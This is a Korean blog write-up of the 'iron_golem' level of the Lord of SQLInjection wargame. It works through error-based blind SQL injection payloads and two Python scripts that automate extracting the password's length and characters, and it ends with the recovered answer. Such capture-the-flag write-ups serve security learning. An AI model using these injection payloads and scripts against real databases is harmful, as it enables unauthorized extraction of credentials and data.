이번 포스트에서는 Lord of SQLInjection의 iron_golem문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), sleep, benchmark를 필터링하고 있다는 것과 "Hello {id}"와 같이 쿼리의 참과 거짓을 알려주는 문구를 출력해주지 않다는 것을 알 수 있다.
또한 pw의 값을 알아내야만 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
참과 거짓을 구분해주는 문구가 사라졌지만 mysqli_error() 함수를 통해 우리가 입력한 쿼리가 참을 반환했는지, 거짓을 반환했는지를 알 수 있다.
### 사용할 공격문 : pw=' or if(1=1, 1, (select '1' union select'2')) %23
### 실행 결과 :
위와 같이 if문(조건, 참일때 실행, 거짓을 때 실행)을 통해 공격을 시도해볼 수 있다. 해당 if문의 조건이 1=1, 즉 참이기 때문에, 두 번째 파라미터인 1을 실행한 것이다.
그러면 if문의 조건이 거짓일때의 모습이 어떨지 확인해보겠다.
### 사용할 공격문 : pw=' or if(1=2, 1, (select '1' union select'2')) %23
### 실행 결과 :
오류 문구가 출력된 것을 확인할 수 있다.
이어서 공격을 시도해보겠다. 먼저 pw의 길이를 알아낼 수 있도록 공격해보겠다.
### 사용할 공격문 : pw=' or if(length(pw)>31, 1, (select '1' union select'2')) %23
### 실행 결과 :
비밀번호의 길이가 31보다 많다는 것을 확인할 수 있다.
실제 테스트해본 결과, 비밀번호의 길이가 32이므로 32로 공격을 해보겠다.
### 사용할 공격문 : pw=' or if(length(pw)=32, 1, (select '1' union select'2')) %23
### 실행 결과 :
비밀번호의 길이가 32인 것을 확인할 수 있다.
그러나 실제 비밀번호의 경우 길이가 엄청 클 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.
### 공격 코드 :
import requests
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값
pw_len = 0 # 비밀번호 길이 초기화
while 1: # while문 실행
pw_len += 1 # 비밀번호 길이 + 1
# 쿼리문 작성
query = f"' or if(length(pw) > {pw_len}, 1, (select '1' union select '2'))#" # 쿼리문 작성
params = {'pw': query} # 파라미터에 작성한 쿼리문 삽입
response = requests.get(url, params=params, cookies=cookies) # 요청
if "Subquery returns more" in response.text: # Subquery returns more이 응답에 있다면, 즉 False를 반환한다면
print("password's length : ", pw_len) # 비밀번호 길이 출력
break # while문 종료
### 실행 결과 :
이어서 각 비밀번호가 어떤 값인지 알아내도록 하겠다.
### 사용할 공격문 : pw=' or if(ascii(substr(pw, 1, 1)) > 47, 1, (select '1' union select'2')) %23
### 실행 결과 :
pw의 첫번째 자리의 아스키 코드가 47(/)보다 크다는 것을 알 수 있다.
실제로 테스트해본 결과 첫번째 비밀번호의 아스키 코드가 48(0)이므로 48로 다시 공격해보겠다.
### 사용할 공격문 : pw=' or if(ascii(substr(pw, 1, 1)) > 48, 1, (select '1' union select'2')) %23
### 실행 결과 :
이를 똑같이 파이썬 코드로 구현하면 다음과 같다.
### 공격 코드 :
def search_pw(pw_len): # 비밀번호 찾기 함수
pw = '' # 비밀번호 초기화
for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
print("Round ", i) # 몇 번째 Round인지 출력
for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
query = f"' or if(ascii(substr(pw, {i}, 1)) > {ch}, 1, (select '1' union select '2'))#" # 쿼리문 작성
params = {'pw': query} # 파라미터 삽입
response = requests.get(url, params=params, cookies=cookies) # 응답 받기
if "Subquery returns more" in response.text: # "Subquery returns more"이 응답 메시지에 있을 때, 즉 False인 경우
pw += chr(ch) # pw에 아스키 코드를 변환하여 저장
print("password : ", pw) # 값 출력
break # 종료
return pw # 비밀 번호 반환
### 실행 결과 :
### 최종 공격문 : pw=06b5a6c16e8830475f983cc3a825ee9a
### 실행 결과 :
## 추가 해석 :
쿼리문 : pw=' or if(ascii(substr(pw, 1, 1)) > 48, 1, (select '1' union select'2')) %23
if문은 if(조건, 조건이 참일때 실행, 조건이 거짓일때 실행)라는 구조를 가지고 있으며, ascii() 함수는 아스키 코드로 변환해주는 함수이고, substr() 함수는 문자열을 자르는 함수이다. 여기서는 pw의 1번째 자리부터 1개, 즉 pw의 첫 번째 글자를 추출해내겠다는 뜻이다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (23. hell_fire) (0) | 2022.06.13 |
---|---|
Lord of SQLInjection (22. dark_eyes) (0) | 2022.06.12 |
Lord of SQLInjection (20. dragon) (0) | 2022.06.09 |
Lord of SQLInjection (19. xavis) (0) | 2022.06.06 |
Lord of SQLInjection (18. nightmare) (0) | 2022.06.05 |